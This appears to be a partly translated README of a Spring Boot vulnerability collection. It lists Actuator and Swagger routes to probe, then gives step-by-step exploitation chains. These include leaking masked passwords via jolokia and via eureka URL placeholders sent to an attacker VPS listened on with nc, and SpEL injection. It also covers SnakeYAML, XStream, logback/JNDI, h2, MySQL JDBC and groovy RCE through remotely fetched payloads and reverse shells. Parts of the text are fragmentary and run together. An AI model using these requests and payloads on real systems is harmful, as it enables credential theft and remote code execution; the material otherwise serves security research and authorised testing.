
SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list
Collection of Spring Boot related vulnerability learning materials, exploitation methods and techniques, black-box security assessment check list
⚠️ All content in this project is only for security research and authorized testing. Those who misuse or abuse this project bear no responsibility for any damages caused
/manage, /management, or project App related names as the spring root path/, while 2.x uses /actuator uniformly as the start path/env, are sometimes modified by programmers, e.g., changed to /appenvSpring Cloud is an ordered collection of frameworks built on Spring Boot to help quickly develop distributed systems, providing configuration management, service registration and discovery, intelligent routing, and other common features.
| Dependency | Version List and Dependent Component Versions |
|---|---|
| spring-boot-starter-parent | spring-boot-starter-parent |
| spring-boot-dependencies |
| Minor Version Suffix | Meaning |
|---|---|
| BUILD-SNAPSHOT | Snapshot version, code is not fixed, in a state of change |
| MX | Milestone version |
Developers may not realize that address leakage can lead to security risks, or when switching from development environment to production environment, relevant personnel forget to modify configuration files and environment settings.
Directly access the following two swagger-related routes to verify if the vulnerability exists:``` /v2/api-docs /swagger-ui.html
Some other related interface routes that may be encountered, such as swagger, swagger codegen, swagger-dubbo:```
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
In addition, the following Spring Boot Actuator related routes sometimes also contain (or can infer) some interface address information, but parameter-related information cannot be obtained:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops
**Generally speaking, exposing the relevant interfaces and parameter information of a Spring Boot application is not considered a vulnerability**, but from the perspective of "**default security**", not exposing this information is more secure.
For an attacker, they will generally carefully audit the exposed interfaces to gain a better understanding of the business system, and will also check whether the application system has other business-type vulnerabilities such as unauthorized access, privilege escalation, etc.
### 0x02:Routes exposed due to misconfiguration
> Mainly because programmers did not realize that exposing routes may cause security risks when developing, or did not follow the standard development process, forgetting to modify/switch the production environment configuration when going live.
Refer to [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) and [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). The default built-in routes that may be exposed due to misconfiguration are:```
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
Among the interfaces that are more important for finding vulnerabilities are:
/env、/actuator/env
A GET request to /env directly leaks environment variables, internal network addresses, usernames in configuration, etc.; when the programmer's attribute naming is non‑standard, for example, writing password as psasword or pwd, the plaintext password will be leaked.
At the same time, there is a certain probability that some attributes can be set via a POST request to the /env interface, indirectly triggering related RCE vulnerabilities; there is also a chance of obtaining the plaintext of star‑obscured passwords, keys, and other important private information.
/refresh、/actuator/refresh
After setting attributes via a POST request to the /env interface, a POST request to the /refresh interface can be used simultaneously to refresh attribute variables and trigger related RCE vulnerabilities.
/restart、/actuator/restart
Exposure of this interface is less common; after setting attributes via a POST request to the /env interface, a subsequent POST request to the interface can restart the application to trigger related RCE vulnerabilities.
When accessing the /env interface, Spring Actuator replaces the attribute values corresponding to attribute names containing sensitive keywords (such as password, secret) with * to achieve desensitization
/jolokia or /actuator/jolokia interfacejolokia-core dependency (version requirement currently unknown)Send a GET request to the target's /env or /actuator/env interface, search for the ****** keyword, and find the attribute name corresponding to the attribute value that is obscured by the *.
Replace security.user.password in the example below with the actual attribute name to be obtained, and send the request directly; the plaintext value will be included in the value key in the response packet.
org.springframework.boot MBeanActually calls the getProperty method of an instance of the org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar class
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
org.springframework.cloud.context.environment MbeanActually call the getProperty method of the
org.springframework.cloud.context.environment.EnvironmentManagerclass instance
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。
/env/env/refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)spring-cloud-starter-netflix-eureka-client 依赖GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
在自己控制的外网服务器上监听 80 端口:```bash nc -lvk 80
##### 步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性
将下面 `http://value:${security.user.password}@your-vps-ip` 中的 `security.user.password` 换成自己想要获取的对应的星号 * 遮掩的属性名;
`your-vps-ip` 换成自己外网服务器的真实 ip 地址。
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
##### Step 4: Refresh Configuration
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
##### Step 5: Decoding Attribute Values
Under normal circumstances, the server listening via nc will receive a request from the target, which includes an `Authorization` header similar to the following:```
Authorization: Basic dmFsdWU6MTIzNDU2
Decode the dmFsdWU6MTIzNDU2 part using base64 to obtain a plaintext value like value:123456, where 123456 is the plaintext attribute value before being masked by asterisks *.
/envReferenced from UUUUnotfound's issue-1, while the target is making external HTTP requests, data can be exfiltrated using placeholders in the URL path.
GET the target's /env or /actuator/env endpoint, search for ****** keywords, and find the attribute name corresponding to the attribute value masked by asterisks *.
On your externally controlled server, listen on port 80:```bash nc -lvk 80
##### Step 3: Trigger external HTTP request
- `spring.cloud.bootstrap.location` method (**also applicable** when there are special URL characters in plaintext data)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
- `eureka.client.serviceUrl.defaultZone` method (**not applicable to** cases where plaintext data contains special URL characters)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
##### Step 4: Refresh Configuration
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
### 0x06: Obtain the Plaintext of Passwords Masked with Asterisks (Method 4)
> When accessing the /env endpoint, spring actuator replaces the values of properties with sensitive keywords (such as password, secret) with * to achieve masking.
#### Prerequisites:
- Can normally GET request the target's `/heapdump` or `/actuator/heapdump` endpoint
#### Exploitation Method:
##### Step 1: Find the Property Name You Want to Obtain
GET request the target website's `/env` or `/actuator/env` endpoint, search for the `******` keyword, and find the property name corresponding to the property value masked by asterisks * that you want to obtain.
##### Step 2: Download JVM Heap Dump
> The downloaded heapdump file size is usually between 50M—500M, and sometimes may exceed 2G
`GET` request the target's `/heapdump` or `/actuator/heapdump` endpoint to download the application's real-time JVM heap information.
##### Step 3: Use MAT to Obtain the Plaintext of Passwords in the JVM Heap
Refer to the method in [this article](https://landgrey.me/blog/16/), use the **OQL** statement of [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php) tool```
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
Assist in quickly filtering and analyzing using keywords like "password" to obtain plaintext of sensitive information such as passwords.
Since Spring Boot related vulnerabilities may result from a combination of multiple component vulnerabilities, some vulnerability names are not strictly formal, but are distinguished as needed.
For example, if you find accessing /article?id=xxx results in a page with status code 500: Whitelabel Error Page, then subsequent payloads will attempt to exploit the id parameter.
Input /article?id=${7*7}. If the error page shows the calculated value 49 of 7*7, it basically confirms that the target has a SpEL expression injection vulnerability.
Convert the string format to 0x** Java byte format for easy execution of arbitrary code:```python
result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
Execute the command `open -a Calculator````java
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
org.springframework.util.PropertyPlaceholderHelper class.parseStringValue method.${} is parsed and executed as a SpEL expression by the resolvePlaceholder method of the org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration class, causing an RCE vulnerability. SpringBoot SpEL Expression Injection Vulnerability - Analysis and Reproduction
repository/springboot-spel-rce
Normal access:``` http://127.0.0.1:9091/article?id=66
执行 `open -a Calculator` 命令:```java
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
/env 接口设置属性/refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)spring-cloud-starter 版本 < 1.3.0.RELEASE在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Place a file with the extension `yml` called `example.yml` in the website root directory, with the following content:```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
Place a jar file named example.jar in the web root directory, containing the code to be executed. Refer to yaml-payload for code writing and compilation.
Spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
spring.cloud.bootstrap.location property is set to the URL of an external malicious YAML file.refresh triggers the target machine to request the YAML file from the remote HTTP server and obtain its content.java.net.URL to fetch the malicious JAR file from the remote HTTP server.javax.script.ScriptEngineFactory interface and instantiates it.Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记
repository/springcloud-snakeyaml-rce
Normal access:``` http://127.0.0.1:9092/env
### 0x03: eureka xstream deserialization RCE
#### Exploitation conditions:
- Can POST requests to the target website's `/env` endpoint to set properties
- Can POST requests to the target website's `/refresh` endpoint to refresh configuration (requires `spring-boot-starter-actuator` dependency)
- The target uses `eureka-client` < 1.8.7 (usually included in `spring-cloud-starter-netflix-eureka-client` dependency)
- The target can request the attacker's HTTP server (the request can reach the external network)
#### Exploitation method:
##### Step 1: Set up a website that responds with a malicious XStream payload
Provide a [Python script example](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) that relies on Flask and meets the requirements. Its purpose is to use the python that comes with the target Linux machine to get a reverse shell.
Run the above script on a server under your control using python, and modify the IP address and port number of the reverse shell in the script according to the actual situation.
##### Step 2: Listen on the reverse shell port
Generally, use nc to listen on the port and wait for the reverse shell.```bash
nc -lvp 443
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Spring Boot Actuator: From Unauthorized Access to Getshell
repository/springboot-eureka-xstream-rce
Normal access:``` http://127.0.0.1:9093/env
### 0x04: jolokia logback JNDI RCE
#### Exploitation Conditions:
- The target website has a `/jolokia` or `/actuator/jolokia` endpoint
- The target uses the `jolokia-core` dependency (version requirements unknown) and relevant MBeans exist in the environment
- The target can request the attacker's HTTP server (outbound network requests allowed)
- Normal JNDI injection is affected by the target JDK version, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), but the related environment can be bypassed
#### Exploitation Method:
##### Step 1: Check Existing MBeans
Access the `/jolokia/list` endpoint to check for the existence of `ch.qos.logback.classic.jmx.JMXConfigurator` and the `reloadByURL` keyword.
##### Step 2: Host the XML File
Start a simple HTTP server on your own VPS machine, using common HTTP service ports (80, 443) if possible.```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在根目录放置以 xml 结尾的 example.xml 文件,内容如下:```xml
##### Step 3: Prepare the Java code to execute
Write the optimized [Java sample code](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) for reverse shell, `JNDIObject.java`, and compile it in a way compatible with lower versions of JDK:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
Then copy the generated JNDIObject.class file to the website root directory in Step 2.
Download marshalsec and use the following command to set up the corresponding ldap service:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
##### Step 5: Listen for Reverse Shell Port
Typically use nc to listen on a port and wait for a reverse shell```bash
nc -lv 443
⚠️ If the target successfully requested example.xml and marshalsec also received the target request, but the target did not request JNDIObject.class, it is highly likely because the target environment's JDK version is too high, causing JNDI exploitation to fail.
Replace the actual your-vps-ip address to access the URL to trigger the vulnerability:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
#### Vulnerability Principle:
1. Directly access a URL that can trigger the vulnerability, which effectively calls the `reloadByURL` method of the `ch.qos.logback.classic.jmx.JMXConfigurator` class via jolokia.
2. The target machine requests an external log configuration file URL and obtains the content of a malicious XML file.
3. The target machine parses the XML file using `saxParser.parse` (which leads to an XXE vulnerability here).
4. In the XML file, an external JNDI server address is set using the `insertFromJNDI` tag from the `logback` dependency.
5. The target machine requests the malicious JNDI server, causing JNDI injection and leading to an RCE vulnerability.
#### Vulnerability Analysis:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
#### Vulnerability Environment:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Normal access:```
http://127.0.0.1:9094/env
/jolokia or /actuator/jolokia endpointjolokia-core dependency (version requirements currently unknown) and the relevant MBean exists in the environmentAccess the /jolokia/list endpoint to see if the keywords type=MBeanFactory and createJNDIRealm exist.
Write an optimized Java example code JNDIObject.java for obtaining a reverse shell.
Start a simple HTTP server on your own VPS machine, using common HTTP service ports (80, 443) if possible.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
将**步骤二**中编译好的 class 文件拷贝到 HTTP 服务器根目录。
##### 步骤四:架设恶意 rmi 服务
下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 rmi 服务:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
Generally use nc to listen on a port and wait for a reverse shell.```bash nc -lvp 443
##### Step 6: Send Malicious Payload
According to the actual situation, modify the target address, RMI address, port and other information in the [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) script, then run it on the server you control.
#### Vulnerability Principle:
1. Use jolokia to call createJNDIRealm to create JNDIRealm
2. Set the connectionURL address to the RMI Service URL
3. Set the contextFactory to RegistryContextFactory
4. Stop the Realm
5. Start the Realm to trigger JNDI injection at the specified RMI address, causing an RCE vulnerability
#### Vulnerability Analysis:
[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
#### Vulnerability Environment:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Normal access:```
http://127.0.0.1:9094/env
/env endpoint to set properties/restart endpoint to restart the applicationcom.h2database.h2 dependency (version requirements currently unknown)⚠️ The 'T5' method in the payload below needs to be renamed (e.g., T6) after each command execution, otherwise the vulnerability will not be triggered upon the next restart of the application
spring 1.x (command execution without output)``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x (blind command execution)```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
CREATE ALIAS SQL statement that creates a custom function. remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
repository/springboot-h2-database-rce
Normal access:``` http://127.0.0.1:9096/actuator/env
### 0x07: h2 database console JNDI RCE
#### Prerequisites:
- The `com.h2database.h2` dependency exists (version requirements are currently unknown)
- h2 console is enabled in the spring configuration `spring.h2.console.enabled=true`
- The target can make requests to the attacker's server (outbound requests are possible)
- JNDI injection is affected by the target JDK version: jdk < 6u201/7u191/8u182/11.0.1 (LDAP method)
#### Exploitation:
##### Step 1: Access the route to obtain the jsessionid
Directly access the default route for h2 console on the target: `/h2-console`. The target will redirect to the page `/h2-console/login.jsp?jsessionid=xxxxxx`. Record the actual `jsessionid=xxxxxx` value.
##### Step 2: Prepare the Java code to be executed
Write an optimized [Java example code](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java` for obtaining a reverse shell.
Compile it in a way compatible with lower JDK versions:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
Then copy the generated JNDIObject.class file to the web root directory in Step 2.
On your controlled VPS machine, start a simple HTTP server, preferably using common HTTP service ports (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Copy the compiled class file from **Step 2** to the HTTP server root directory.
##### Step 4: Set up a malicious LDAP service
Download [marshalsec](https://github.com/mbechler/marshalsec) and use the following command to set up the corresponding LDAP service:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
Typically, use nc to listen on a port and wait for the reverse shell.```bash nc -lv 443
##### Step 6: Send Packet to Trigger JNDI Injection
Replace `jsessionid=xxxxxx`, `www.example.com` and `ldap://your-vps-ip:1389/JNDIObject` in the data below according to the actual situation.```bash
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
Spring Boot + H2 Database JNDI Injection
repository/springboot-h2-database-rce
Normal access:``` http://127.0.0.1:9096/h2-console
### 0x08:mysql jdbc deserialization RCE
#### 利用条件:
- Ability to POST to the target website's `/env` endpoint to set properties
- Ability to POST to the target website's `/refresh` endpoint to refresh configuration (requires `spring-boot-starter-actuator` dependency)
- The target environment has the `mysql-connector-java` dependency
- The target can reach the attacker's server (outbound network access is possible)
#### 利用方法:
##### 步骤一:查看环境依赖
Make a GET request to `/env` or `/actuator/env`, search the environment variables (classpath) for the keyword `mysql-connector-java`, and record its version number (5.x or 8.x);
Search and observe whether common deserialization gadget dependencies exist in the environment variables, such as `commons-collections`, `Jdk7u21`, `Jdk8u20`, etc.;
Search for the keyword `spring.datasource.url`, record its `value`, to facilitate restoring the normal jdbc url value later.
##### 步骤二:架设恶意 rogue mysql server
Run the [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) script on a server you control, and use [ysoserial](https://github.com/frohoff/ysoserial) to customize the command to be executed:```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
Generate the payload.ser deserialization payload file in the same directory as the script for use by the script.
⚠️ Modifying this property will temporarily cause all normal database services of the website to become unavailable, affecting business operations. Please proceed with caution!
For mysql-connector-java 5.x version, set the property value to:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java 8.x version sets the **property value** to:```
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
Spring 2.x```
POST /actuator/refresh
Content-Type: application/json
尝试访问网站已知的数据库查询的接口,例如: /product/list ,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发
反序列化漏洞利用完成后,使用 步骤三 的方法恢复 步骤一 中记录的 spring.datasource.url 的原始 value 值
spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址spring.datasource.url 属性值mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞 New-Exploit-Technique-In-Java-Deserialization-Attack
需要配置 application.properties 中的 spring.datasource.url、spring.datasource.username、spring.datasource.password,保证可以正常连上 mysql 数据库,否则程序启动时就会报错退出
repository/springboot-mysql-jdbc-rce
正常访问:``` http://127.0.0.1:9097/actuator/env
After sending the payload, the vulnerability is triggered:```
http://127.0.0.1:9097/product/list
/env endpoint to set properties/restart endpoint to restart the applicationjavax.naming.spi.ObjectFactory interface, otherwise the application will exit abnormallyOn a VPS you control, start a simple HTTP server, preferably using common HTTP service ports (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Place an `example.xml` file ending with `xml` in the root directory; the actual content depends on the JNDI service used in step two:```xml
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
Refer to the article, modify JNDIExploit and start it (other methods can also be used):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
##### Step 3: Set the logging.config property
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
Spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
##### Step 4: Restart the Application
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Vulnerability Principle:
1. The target machine sets the logback log configuration file URL address through the `logging.config` property.
2. After restart the application, the program requests the URL address to obtain the malicious XML file content.
3. The target machine uses saxParser.parse to parse the XML file (here leads to an XXE vulnerability).
4. The XML file uses the `insertFormJNDI` tag from the `logback` dependency to set an external JNDI server address.
5. The target machine requests the malicious JNDI server, causing JNDI injection and resulting in an RCE vulnerability.
#### Vulnerability Analysis:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
https://landgrey.me/blog/21/
#### Vulnerability Environment:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Normal access:```
http://127.0.0.1:9098/actuator/env
/env endpoint to set properties/restart endpoint to restart the applicationStart a simple HTTP server on a VPS machine under your control, preferably using common HTTP service ports (80, 443)```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Place a file named `example.groovy` ending with `groovy` in the root directory, the content is the groovy code to be executed, for example:```xml
Runtime.getRuntime().exec("open -a Calculator")
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.groovy
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
logging.config propertych.qos.logback.classic.util.ContextInitializer.java code file logic of the logback-classic component determines whether the URL ends with groovygroovy, the groovy code in the file content is ultimately executed, causing an RCE vulnerabilityrepository/springboot-restart-rce
Normal access:``` http://127.0.0.1:9098/actuator/env
### 0x0B:restart spring.main.sources groovy RCE
#### Exploitation Conditions:
- Can POST to the target's `/env` endpoint to set properties
- Can POST to the target's `/restart` endpoint to restart the application
- ⚠️ The target must be able to make outbound requests to the attacker's HTTP server (outbound access required), otherwise restart will cause an abnormal program exit
- ⚠️ If the HTTP server returns a file containing malformed groovy syntax, it will cause an abnormal program exit
- ⚠️ The environment must have the groovy dependency, otherwise restart will cause an abnormal program exit
#### Exploitation Method:
##### Step 1: Host the groovy file
Start a simple HTTP server on your own VPS, preferably using common HTTP service ports (80, 443)```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Place a file named example.groovy ending with groovy in the root directory, with the content being the groovy code to be executed, for example:```xml
Runtime.getRuntime().exec("open -a Calculator")
##### Step 2: Set spring.main.sources property
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/example.groovy
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
##### Step 3: Restart the application
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
Spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Vulnerability Principle:
1. The target machine can set the URL address of an additional source for creating `ApplicationContext` via the `spring.main.sources` property.
2. After restarting the application, the program will request the set URL address.
3. In the `spring-boot` component, the code logic of the file `org.springframework.boot.BeanDefinitionLoader.java` determines whether the URL ends with `.groovy`.
4. If the URL ends with `.groovy`, the groovy code in the file content will be executed, resulting in an RCE vulnerability.
#### Vulnerability Environment:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Normal access:```
http://127.0.0.1:9098/actuator/env
/env endpoint to set properties/restart endpoint to restart the applicationh2database and spring-boot-starter-data-jpa dependenciesStart a simple HTTP server on a VPS machine under your control, using common HTTP service ports (80, 443) if possible.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Place a file with any name in the root directory, the content of which is the h2 sql code to be executed, for example:
> ⚠️ In the payload below, the 'T5' method can only be executed once via restart; subsequent restarts require changing the method name (e.g., T6) and setting a new sql URL address, after which the restart can be reused. Otherwise, on the second restart, the application will exit abnormally.```xml
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/example.sql
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring-boot-autoconfigure component, the code logic of the org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java file uses the runScripts method to execute the h2 database sql code in the requested URL content, causing an RCE vulnerability.repository/springboot-restart-rce
Normal access:``` http://127.0.0.1:9098/actuator/env
| spring-boot-dependencies |
| spring-cloud-dependencies | spring-cloud-dependencies |
| Spring Cloud Major Version | Spring Boot Version |
|---|
| Angel | Compatible with Spring Boot 1.2.x |
| Brixton | Compatible with Spring Boot 1.3.x, 1.4.x |
| Camden | Compatible with Spring Boot 1.4.x, 1.5.x |
| Dalston | Compatible with Spring Boot 1.5.x, not compatible with 2.0.x |
| Edgware | Compatible with Spring Boot 1.5.x, not compatible with 2.0.x |
| Finchley | Compatible with Spring Boot 2.0.x, not compatible with 1.5.x |
| Greenwich | Compatible with Spring Boot 2.1.x |
